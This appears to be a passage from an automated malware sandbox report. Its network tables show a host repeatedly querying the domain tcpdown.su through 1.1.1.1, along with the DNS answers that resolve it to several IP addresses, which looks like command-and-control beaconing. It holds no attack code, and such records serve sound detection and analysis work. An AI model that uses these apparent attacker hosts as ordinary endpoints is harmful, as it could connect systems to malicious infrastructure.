Jan 2, 2025 08:48:30.841408014 CET	52206	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:30.848429918 CET	53	52206	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:31.092757940 CET	35172	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:31.099989891 CET	53	35172	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:31.104624033 CET	42192	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:31.111861944 CET	53	42192	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:32.377214909 CET	35977	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:32.384957075 CET	53	35977	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:32.391148090 CET	42592	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:32.398092031 CET	53	42592	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:32.957406044 CET	39290	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:32.964978933 CET	53	39290	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:32.969758034 CET	43685	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:32.978450060 CET	53	43685	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:34.072941065 CET	60584	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:34.080043077 CET	53	60584	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:34.083774090 CET	51962	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:34.090591908 CET	53	51962	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:34.931327105 CET	34330	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:34.938371897 CET	53	34330	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:34.942281961 CET	35541	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:34.949153900 CET	53	35541	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:35.928925991 CET	48119	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:35.935836077 CET	53	48119	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:35.938359976 CET	39319	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:35.945444107 CET	53	39319	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:36.592998981 CET	39609	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:36.600090981 CET	53	39609	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:36.603655100 CET	41170	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:36.610769033 CET	53	41170	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:37.593272924 CET	47421	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:37.600805998 CET	53	47421	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:37.604193926 CET	55317	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:37.611291885 CET	53	55317	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:38.141720057 CET	45336	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:38.148828983 CET	53	45336	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:38.152203083 CET	47440	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:38.159310102 CET	53	47440	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:39.174186945 CET	48587	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:39.181376934 CET	53	48587	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:39.183975935 CET	37162	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:39.191131115 CET	53	37162	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:39.751336098 CET	39788	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:39.758404970 CET	53	39788	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:39.760824919 CET	36074	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:39.767484903 CET	53	36074	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:40.723242998 CET	54211	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:40.732218981 CET	53	54211	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:40.734692097 CET	47647	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:40.743541002 CET	53	47647	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:41.302582026 CET	33678	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:41.310142994 CET	53	33678	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:41.315217972 CET	57393	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:41.322443008 CET	53	57393	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:42.305959940 CET	39664	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:42.313323975 CET	53	39664	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:42.317053080 CET	47602	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:42.323985100 CET	53	47602	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:43.144462109 CET	59776	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:43.151876926 CET	53	59776	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:43.153072119 CET	43199	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:43.160329103 CET	53	43199	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:44.150216103 CET	38138	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:44.157737970 CET	53	38138	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:44.159085035 CET	38124	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:44.166235924 CET	53	38124	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:44.981472015 CET	49059	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:44.988327026 CET	53	49059	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:44.994194984 CET	53909	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:45.000947952 CET	53	53909	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:45.695327044 CET	60729	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:45.701910973 CET	53	60729	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:45.703246117 CET	33937	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:45.710844994 CET	53	33937	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:46.823595047 CET	56843	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:46.830555916 CET	53	56843	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:46.831125021 CET	52424	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:46.838032007 CET	53	52424	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:47.533104897 CET	54441	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:47.540220976 CET	53	54441	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:47.541408062 CET	52611	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:47.548944950 CET	53	52611	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:48.670892954 CET	58853	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:48.677908897 CET	53	58853	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:48.678538084 CET	36094	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:48.685973883 CET	53	36094	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:49.091398001 CET	42955	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:49.099000931 CET	53	42955	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:49.099684000 CET	59339	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:49.107805967 CET	53	59339	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:50.947295904 CET	58814	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:50.954255104 CET	53	58814	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:50.955116034 CET	52480	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:50.962301970 CET	53	52480	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:52.778304100 CET	40469	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:52.786636114 CET	53	40469	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:52.787734985 CET	38186	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:52.795737028 CET	53	38186	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:54.476751089 CET	35983	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:54.484294891 CET	53	35983	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:54.484937906 CET	40164	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:54.491875887 CET	53	40164	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:56.010658979 CET	59716	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:56.018060923 CET	53	59716	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:56.018575907 CET	52888	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:56.025820971 CET	53	52888	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:57.846596003 CET	49436	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:57.853753090 CET	53	49436	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:57.854326010 CET	56323	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:57.861376047 CET	53	56323	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:59.777128935 CET	44415	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:59.784393072 CET	53	44415	1.1.1.1	192.168.2.23
Jan 2, 2025 08:48:59.785121918 CET	50488	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:48:59.792603970 CET	53	50488	1.1.1.1	192.168.2.23
Jan 2, 2025 08:49:01.633486032 CET	46607	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:49:01.640598059 CET	53	46607	1.1.1.1	192.168.2.23
Jan 2, 2025 08:49:01.641396999 CET	60335	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:49:01.649611950 CET	53	60335	1.1.1.1	192.168.2.23
Jan 2, 2025 08:49:03.170320034 CET	49486	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:49:03.177546978 CET	53	49486	1.1.1.1	192.168.2.23
Jan 2, 2025 08:49:03.178195000 CET	51810	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:49:03.185132980 CET	53	51810	1.1.1.1	192.168.2.23
Jan 2, 2025 08:49:04.705086946 CET	59307	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:49:04.712497950 CET	53	59307	1.1.1.1	192.168.2.23
Jan 2, 2025 08:49:04.713258028 CET	49391	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:49:04.720184088 CET	53	49391	1.1.1.1	192.168.2.23
Jan 2, 2025 08:49:06.537269115 CET	56300	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:49:06.545226097 CET	53	56300	1.1.1.1	192.168.2.23
Jan 2, 2025 08:49:06.545840979 CET	34591	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:49:06.553334951 CET	53	34591	1.1.1.1	192.168.2.23
Jan 2, 2025 08:49:08.392220974 CET	40088	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:49:08.399308920 CET	53	40088	1.1.1.1	192.168.2.23
Jan 2, 2025 08:49:08.400002003 CET	54481	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:49:08.407284975 CET	53	54481	1.1.1.1	192.168.2.23
Jan 2, 2025 08:49:10.216094017 CET	54154	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:49:10.223201990 CET	53	54154	1.1.1.1	192.168.2.23
Jan 2, 2025 08:49:10.223870039 CET	53914	53	192.168.2.23	1.1.1.1
Jan 2, 2025 08:49:10.230737925 CET	53	53914	1.1.1.1	192.168.2.23

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 2, 2025 08:48:12.848319054 CET	192.168.2.23	1.1.1.1	0x9b30	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:12.956759930 CET	192.168.2.23	1.1.1.1	0x1773	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:14.813714027 CET	192.168.2.23	1.1.1.1	0xbfa0	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:15.018825054 CET	192.168.2.23	1.1.1.1	0xe973	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:16.993916035 CET	192.168.2.23	1.1.1.1	0x286e	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:17.164210081 CET	192.168.2.23	1.1.1.1	0xcaf4	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:18.864264011 CET	192.168.2.23	1.1.1.1	0xf027	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:18.879846096 CET	192.168.2.23	1.1.1.1	0x891	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:20.720630884 CET	192.168.2.23	1.1.1.1	0xe177	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:20.732548952 CET	192.168.2.23	1.1.1.1	0xd0ee	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.042958975 CET	192.168.2.23	1.1.1.1	0x9b30	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.055759907 CET	192.168.2.23	1.1.1.1	0x1773	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.279251099 CET	192.168.2.23	1.1.1.1	0xa549	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:22.437486887 CET	192.168.2.23	1.1.1.1	0x3fb3	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.934655905 CET	192.168.2.23	1.1.1.1	0xbfa0	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.948353052 CET	192.168.2.23	1.1.1.1	0xe973	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.974617004 CET	192.168.2.23	1.1.1.1	0xd13f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:23.988070011 CET	192.168.2.23	1.1.1.1	0xd9d9	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.503659964 CET	192.168.2.23	1.1.1.1	0x286e	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.517045021 CET	192.168.2.23	1.1.1.1	0xcaf4	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.853688002 CET	192.168.2.23	1.1.1.1	0xbc17	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:25.866861105 CET	192.168.2.23	1.1.1.1	0xb1aa	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.348895073 CET	192.168.2.23	1.1.1.1	0xf027	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.361274958 CET	192.168.2.23	1.1.1.1	0x891	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.557619095 CET	192.168.2.23	1.1.1.1	0x7afe	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:27.571124077 CET	192.168.2.23	1.1.1.1	0x7411	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.065682888 CET	192.168.2.23	1.1.1.1	0xe177	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.091319084 CET	192.168.2.23	1.1.1.1	0xd0ee	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.259258032 CET	192.168.2.23	1.1.1.1	0xf3d5	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.280549049 CET	192.168.2.23	1.1.1.1	0x6597	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:30.827248096 CET	192.168.2.23	1.1.1.1	0x8bd6	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:30.841408014 CET	192.168.2.23	1.1.1.1	0xd25f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:31.092757940 CET	192.168.2.23	1.1.1.1	0xa549	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:31.104624033 CET	192.168.2.23	1.1.1.1	0x3fb3	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.377214909 CET	192.168.2.23	1.1.1.1	0x3e0a	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.391148090 CET	192.168.2.23	1.1.1.1	0xedbf	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.957406044 CET	192.168.2.23	1.1.1.1	0xd13f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.969758034 CET	192.168.2.23	1.1.1.1	0xd9d9	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.072941065 CET	192.168.2.23	1.1.1.1	0xb3ef	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.083774090 CET	192.168.2.23	1.1.1.1	0xa20	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.931327105 CET	192.168.2.23	1.1.1.1	0xbc17	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.942281961 CET	192.168.2.23	1.1.1.1	0xb1aa	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:35.928925991 CET	192.168.2.23	1.1.1.1	0x198c	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:35.938359976 CET	192.168.2.23	1.1.1.1	0x2e3c	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:36.592998981 CET	192.168.2.23	1.1.1.1	0x7afe	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:36.603655100 CET	192.168.2.23	1.1.1.1	0x7411	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:37.593272924 CET	192.168.2.23	1.1.1.1	0x637c	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:37.604193926 CET	192.168.2.23	1.1.1.1	0xd214	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:38.141720057 CET	192.168.2.23	1.1.1.1	0xf3d5	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:38.152203083 CET	192.168.2.23	1.1.1.1	0x6597	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.174186945 CET	192.168.2.23	1.1.1.1	0xe69b	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.183975935 CET	192.168.2.23	1.1.1.1	0x376	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.751336098 CET	192.168.2.23	1.1.1.1	0x8bd6	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.760824919 CET	192.168.2.23	1.1.1.1	0xd25f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:40.723242998 CET	192.168.2.23	1.1.1.1	0x31ed	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:40.734692097 CET	192.168.2.23	1.1.1.1	0x165c	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:41.302582026 CET	192.168.2.23	1.1.1.1	0x3e0a	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:41.315217972 CET	192.168.2.23	1.1.1.1	0xedbf	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:42.305959940 CET	192.168.2.23	1.1.1.1	0xd2dc	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:42.317053080 CET	192.168.2.23	1.1.1.1	0x85f8	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:43.144462109 CET	192.168.2.23	1.1.1.1	0xb3ef	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:43.153072119 CET	192.168.2.23	1.1.1.1	0xa20	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.150216103 CET	192.168.2.23	1.1.1.1	0x4cde	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.159085035 CET	192.168.2.23	1.1.1.1	0x41cf	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.981472015 CET	192.168.2.23	1.1.1.1	0x198c	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.994194984 CET	192.168.2.23	1.1.1.1	0x2e3c	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.695327044 CET	192.168.2.23	1.1.1.1	0x8f4f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.703246117 CET	192.168.2.23	1.1.1.1	0xde9d	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:46.823595047 CET	192.168.2.23	1.1.1.1	0x637c	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:46.831125021 CET	192.168.2.23	1.1.1.1	0xd214	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:47.533104897 CET	192.168.2.23	1.1.1.1	0x5718	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:47.541408062 CET	192.168.2.23	1.1.1.1	0x4229	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:48.670892954 CET	192.168.2.23	1.1.1.1	0xe69b	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:48.678538084 CET	192.168.2.23	1.1.1.1	0x376	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:49.091398001 CET	192.168.2.23	1.1.1.1	0x73ae	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:49.099684000 CET	192.168.2.23	1.1.1.1	0x5a55	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:50.947295904 CET	192.168.2.23	1.1.1.1	0x2a2c	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:50.955116034 CET	192.168.2.23	1.1.1.1	0x751a	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:52.778304100 CET	192.168.2.23	1.1.1.1	0x2b0d	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:52.787734985 CET	192.168.2.23	1.1.1.1	0xfadd	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:54.476751089 CET	192.168.2.23	1.1.1.1	0x97f0	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:54.484937906 CET	192.168.2.23	1.1.1.1	0xe112	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:56.010658979 CET	192.168.2.23	1.1.1.1	0x854d	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:56.018575907 CET	192.168.2.23	1.1.1.1	0x1751	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:57.846596003 CET	192.168.2.23	1.1.1.1	0xc84c	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:57.854326010 CET	192.168.2.23	1.1.1.1	0xcfdf	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:59.777128935 CET	192.168.2.23	1.1.1.1	0x242c	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:59.785121918 CET	192.168.2.23	1.1.1.1	0xf320	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:01.633486032 CET	192.168.2.23	1.1.1.1	0xe298	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:01.641396999 CET	192.168.2.23	1.1.1.1	0xa178	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:03.170320034 CET	192.168.2.23	1.1.1.1	0x5e8a	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:03.178195000 CET	192.168.2.23	1.1.1.1	0x6190	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:04.705086946 CET	192.168.2.23	1.1.1.1	0x419c	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:04.713258028 CET	192.168.2.23	1.1.1.1	0xae45	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:06.537269115 CET	192.168.2.23	1.1.1.1	0xb6ac	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:06.545840979 CET	192.168.2.23	1.1.1.1	0x8a09	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:08.392220974 CET	192.168.2.23	1.1.1.1	0xcf2a	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:08.400002003 CET	192.168.2.23	1.1.1.1	0x6937	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:10.216094017 CET	192.168.2.23	1.1.1.1	0x9b8e	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:49:10.223870039 CET	192.168.2.23	1.1.1.1	0xe085	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 2, 2025 08:48:12.947942019 CET	1.1.1.1	192.168.2.23	0x9b30	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:12.947942019 CET	1.1.1.1	192.168.2.23	0x9b30	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:12.947942019 CET	1.1.1.1	192.168.2.23	0x9b30	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:12.947942019 CET	1.1.1.1	192.168.2.23	0x9b30	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:12.947942019 CET	1.1.1.1	192.168.2.23	0x9b30	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:12.947942019 CET	1.1.1.1	192.168.2.23	0x9b30	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:12.947942019 CET	1.1.1.1	192.168.2.23	0x9b30	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:12.963670015 CET	1.1.1.1	192.168.2.23	0x1773	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:12.963670015 CET	1.1.1.1	192.168.2.23	0x1773	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:12.963670015 CET	1.1.1.1	192.168.2.23	0x1773	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:12.963670015 CET	1.1.1.1	192.168.2.23	0x1773	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
